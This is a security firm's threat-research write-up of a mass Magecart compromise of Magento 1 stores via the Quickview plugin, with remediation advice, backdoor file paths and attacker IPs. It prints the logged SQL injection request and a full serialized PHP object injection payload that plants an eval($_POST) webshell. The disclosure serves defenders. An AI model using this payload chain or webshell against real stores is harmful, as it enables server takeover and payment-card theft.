NaturalFreshMall: a mass store hack

sansec.io/research/naturalfreshmall-mass-hack

February 8, 2022

- 8th February 2022

  Web Skimming / Sansec Threat Research
  Learn about new eCommerce hacks?

  Receive an alert whenever we discover new hacks or vulnerabilities that may affect your online store.

- What is
  Magecart?

  Also known as digital skimming, this crime has surged since 2015. Criminals steal card data during online shopping. Who are behind these notorious hacks, how does it work, and how have Magecart attacks evolved over time?

  About Magecart

> More than 350 ecommerce stores infected with malware in a single day.
>
> Today our global crawler discovered 374 ecommerce stores infected with the same strain of malware. 370 of these stores load the malware via https://naturalfreshmall[.]com/image/pixel[.]js.
>
> — Sansec (@sansecio) January 25, 2022

Last week Sansec detected a mass breach of over 500 stores running the Magento 1 ecommerce platform. All stores were victim of a payment skimmer loaded from the `naturalfreshmall.com` domain. We invited victims to reach out to us, so we could find a common point of entry and protect other merchants against a potentional new attack. The first investigation is now completed: attackers used a clever combination of an *SQL injection* (SQLi) and *PHP Object Injection* (POI) attack to gain control of the Magento store.

Zend_Memory_Manager POI attack

Attackers abused a (known) leak in the Quickview plugin. While this is typically abused to inject rogue Magento admin users, in this case the attacker used the flaw to run code directly on the server. But how?

First, the attacker abused Quickview to add a validation rule to the `customer_eav_attribute` table:

```
45.72.31.112 2022-01-28T15:11:59Z "GET
/quickview/index/view/path/');UPDATE%20customer_eav_attribute%20SET%20validate_rules=
 HTTP/1.1"
```

The added validation rule is (result of UNHEX()):

```
b'a:1:{i:0;O:19:"Zend_Memory_Manager":10:{s:29:"\x00Zend_Memory_Manager\x00_backend";
O:33:"Varien_Cache_Backend_Eaccelerator":2:{s:14:"\x00*\x00_directives";a:2:{s:7:
s:6:"logger";O:8:"Zend_Log":11:{s:14:"\x00*\x00_priorities";a:2:{i:3;i:1;i:4;i:1;}s:11:"\x00*\x00_writers";
a:1:{i:0;O:27:"Zend_CodeGenerator_Php_File":8:{s:12:"\x00*\x00_filename";s:9:"api_1.php";
s:12:"\x00*\x00_docblock";N;s:17:"\x00*\x00_requiredFiles";a:0:{}s:11:"\x00*\x00_classes";a:0:{}
s:8:"\x00*\x00_body";N;s:17:"\x00*\x00_isSourceDirty";b:0;s:15:"\x00*\x00_indentation";s:4:" ";
s:17:"\x00*\x00_sourceContent";s:38:"<?php echo \'suBmit\';eval($_POST[\'z\']);";}}
s:11:"\x00*\x00_filters";a:0:{}s:10:"\x00*\x00_extras";a:0:{}s:26:"\x00*\x00_defaultWriterNamespace";
s:15:"Zend_Log_Writer";s:26:"\x00*\x00_defaultFilterNamespace";s:15:"Zend_Log_Filter";
s:29:"\x00*\x00_defaultFormatterNamespace";s:18:"Zend_Log_Formatter";s:20:"\x00*\x00_origErrorHandler";N;
s:26:"\x00*\x00_registeredErrorHandler";b:0;s:19:"\x00*\x00_errorHandlerMap";b:0;
s:19:"\x00*\x00_timestampFormat";s:1:"c";}}s:11:"\x00\*\x00_options";a:0:{}}
s:33:"\x00Zend_Memory_Manager\x00_memoryLimit";i:-1;s:29:"\x00Zend_Memory_Manager\x00_minSize";i:16384;
s:32:"\x00Zend_Memory_Manager\x00_memorySize";i:0;s:28:"\x00Zend_Memory_Manager\x00_nextId";i:0;
s:38:"\x00Zend_Memory_Manager\x00_unloadCandidates";a:0:{}s:27:"\x00Zend_Memory_Manager\x00_sizes";a:0:{}
s:34:"\x00Zend_Memory_Manager\x00_lastModified";N;s:31:"\x00Zend_Memory_Manager\x00_managerId";N;
s:26:"\x00Zend_Memory_Manager\x00_tags";N;}}'
```

This POI payload is used to trick the host application into crafting a malicious object. In this case `Zend_Memory_Manager` and `Zend_CodeGenerator_Php_File` are used to create a file called `api_1.php` with a simple backdoor `eval($_POST['z'])`.

Signing up as new customer, activates attack

However, just adding it to the database will not run the code. Magento actually needs to unserialize the data. And there is the cleverness of this attack: by using the validation rules for new customers, the attacker can trigger an unserialize by simply browing the Magento sign up page. This is illustrated with the following requests:

```
45.72.31.112    2022-01-28T15:12:02Z "GET /customer/account/create/ HTTP/1.1"
45.72.31.112    2022-01-28T15:12:08Z "GET /api_1.php HTTP/1.1"
```

Voila! The attacker can now run any PHP code via the api_1.php backdoor.

Are you also victim of this hack? Reach out to us and we will run a clean-up and investigation free of charge.

Other indicators of compromise

In this case, the attacker left no less than 19 (!) backdoors on the system. It is essential to eliminate each and every one of them, because leaving one in place means that your system will be hit again next week.

The actual payment interception code was added to the `core_config_data` table in the `design/footer/absolute_footer` section.

The following files were either entirely malicious, or are part of the Magento code but had malicious code added to them. Your system may have similar or entirely different backdoors, so we recommend to run a malware scanner to find all of them.

```
/api.php
/api_1.php
/install.php
/sc_api.php
/phpinfo.php
/adminer.php
/app/code/core/Mage/Page/Block/Html.php
/errors/api.php
/media/api.php
/media/catalog/category/test.jpeg
/media/catalog/category/panch.jpg
/js/api.php
/js/cartcheckout.php
/skin/api.php
/skin/adminhtml/default/default/images/loader.php
/skin/adminhtml/default/default/controller.php
/skin/frontend/default/default/upldr.php
/skin/frontend/base/default/conf.php
/var/importexport/customer.csv
```

IPs that were implicated in this attack:

```
132.255.135.230 US 52485  networksdelmanana.com
132.255.135.51  US 52485  networksdelmanana.com
138.36.92.216   US 265645 HOSTINGFOREX S.A.
138.36.92.253   US 265645 HOSTINGFOREX S.A.
138.36.93.206   US 265645 HOSTINGFOREX S.A.
138.36.94.2     US 265645 HOSTINGFOREX S.A.
138.36.94.224   US 265645 HOSTINGFOREX S.A.
138.36.94.241   US 265645 HOSTINGFOREX S.A.
138.36.94.59    US 265645 HOSTINGFOREX S.A.
138.94.216.131  US 263744 Udasha S.A.
138.94.216.172  US 263744 Udasha S.A.
138.94.216.186  US 263744 Udasha S.A.
138.94.216.230  US 263744 Udasha S.A.
141.193.20.147  US 64249  ENDOFFICE
144.168.218.117 US 55286  SERVER-MANIA
144.168.218.136 US 55286  SERVER-MANIA
144.168.218.249 US 55286  SERVER-MANIA
144.168.218.70  US 55286  SERVER-MANIA
144.168.218.94  US 55286  SERVER-MANIA
144.168.221.92  US 55286  SERVER-MANIA
186.179.14.102  US 52393  Corporacion Dana S.A.
186.179.14.134  US 52393  Corporacion Dana S.A.
186.179.14.179  US 52393  Corporacion Dana S.A.
186.179.14.204  US 52393  Corporacion Dana S.A.
186.179.14.44   US 52393  Corporacion Dana S.A.
186.179.14.76   US 52393  Corporacion Dana S.A.
186.179.14.97   US 52393  Corporacion Dana S.A.
186.179.39.183  US 52393  Corporacion Dana S.A.
186.179.39.226  US 52393  Corporacion Dana S.A.
186.179.39.35   US 52393  Corporacion Dana S.A.
186.179.39.7    US 52393  Corporacion Dana S.A.
186.179.39.74   US 52393  Corporacion Dana S.A.
186.179.47.205  US 52393  Corporacion Dana S.A.
186.179.47.39   US 52393  Corporacion Dana S.A.
191.102.149.106 US 394474 WHITELABELCOLO393
191.102.149.197 US 394474 WHITELABELCOLO393
191.102.149.253 US 394474 WHITELABELCOLO393
191.102.163.202 US 394474 WHITELABELCOLO393
191.102.163.208 US 394474 WHITELABELCOLO393
191.102.163.7   US 394474 WHITELABELCOLO393
191.102.163.74  US 394474 WHITELABELCOLO393
191.102.170.173 US 394474 WHITELABELCOLO393
191.102.170.81  US 394474 WHITELABELCOLO393
191.102.174.128 US 394474 WHITELABELCOLO393
191.102.174.211 US 394474 WHITELABELCOLO393
191.102.174.239 US 394474 WHITELABELCOLO393
191.102.174.247 US 394474 WHITELABELCOLO393
191.102.174.52  US 394474 WHITELABELCOLO393
191.102.179.22  US 394474 WHITELABELCOLO393
191.102.179.31  US 394474 WHITELABELCOLO393
191.102.179.62  US 394474 WHITELABELCOLO393
192.198.123.164 US 55286  SERVER-MANIA
192.198.123.225 US 55286  SERVER-MANIA
192.198.123.226 US 55286  SERVER-MANIA
192.198.123.43  US 55286  SERVER-MANIA
```

```
192.241.67.128  US 55286  SERVER-MANIA
193.32.8.1      US 201814 Meverywhere sp. z o.o.
193.32.8.33     US 201814 Meverywhere sp. z o.o.
193.32.8.63     US 201814 Meverywhere sp. z o.o.
193.32.8.76     US 201814 Meverywhere sp. z o.o.
193.8.238.91    US 60781  LeaseWeb Netherlands B.V.
195.123.246.212 CZ 204957 ITL-Bulgaria Ltd.
198.245.77.132  US 55081  24SHELLS
198.245.77.217  US 55081  24SHELLS
198.245.77.253  US 55081  24SHELLS
206.127.242.99  US 201106 Spartan Host Ltd
209.127.104.174 US 55286  SERVER-MANIA
209.127.105.225 US 55286  SERVER-MANIA
209.127.105.73  US 55286  SERVER-MANIA
209.127.106.211 US 55286  SERVER-MANIA
209.127.106.44  US 55286  SERVER-MANIA
209.127.107.141 US 55286  SERVER-MANIA
209.127.107.169 US 55286  SERVER-MANIA
209.127.107.187 US 55286  SERVER-MANIA
209.127.109.138 US 55286  SERVER-MANIA
209.127.109.225 US 55286  SERVER-MANIA
209.127.109.87  US 55286  SERVER-MANIA
209.127.110.144 US 55286  SERVER-MANIA
209.127.110.177 US 55286  SERVER-MANIA
209.127.111.68  US 55286  SERVER-MANIA
209.127.111.99  US 55286  SERVER-MANIA
209.127.116.101 US 55286  SERVER-MANIA
209.127.116.167 US 55286  SERVER-MANIA
209.127.116.231 US 55286  SERVER-MANIA
209.127.117.214 US 55286  SERVER-MANIA
209.127.117.49  US 55286  SERVER-MANIA
209.127.118.136 US 55286  SERVER-MANIA
209.127.118.96  US 55286  SERVER-MANIA
209.127.172.15  US 55081  24SHELLS
209.127.172.60  US 55081  24SHELLS
209.127.172.99  US 55081  24SHELLS
209.127.173.13  US 55081  24SHELLS
209.127.173.154 US 55081  24SHELLS
209.127.173.215 US 55081  24SHELLS
209.127.174.177 US 55081  24SHELLS
209.127.175.113 US 55081  24SHELLS
209.127.97.6    US 55286  SERVER-MANIA
209.127.98.244  US 55286  SERVER-MANIA
209.127.98.81   US 55286  SERVER-MANIA
209.127.98.91   US 55286  SERVER-MANIA
209.127.99.16   US 55286  SERVER-MANIA
209.127.99.205  US 55286  SERVER-MANIA
217.170.207.111 NO 34989  ServeTheWorld AS
23.106.125.64   SG 59253  Leaseweb Asia Pacific pte. ltd.
45.72.112.143   US 55081  24SHELLS
45.72.18.133    US 55081  24SHELLS
45.72.18.234    US 55081  24SHELLS
45.72.18.236    US 55081  24SHELLS
45.72.31.112    US 55081  24SHELLS
45.72.85.178    US 55081  24SHELLS
```

```
45.72.86.142    US 55081  24SHELLS
45.72.86.201    US 55081  24SHELLS
```

NB. While the Magento 1 platform has been declared End-Of-Life by Adobe, thousands of professional merchants are still using it. As Adobe does not provide security patches anymore, we recommend to take extra measures to keep your store safe. Monitoring for malware is vital (such as with our ecomscan scanner). Also, there are community-provided patches available for Magento 1. Either open-source via OpenMage or with commercial support via Mage-One.

data-size="large" > Follow @sansecio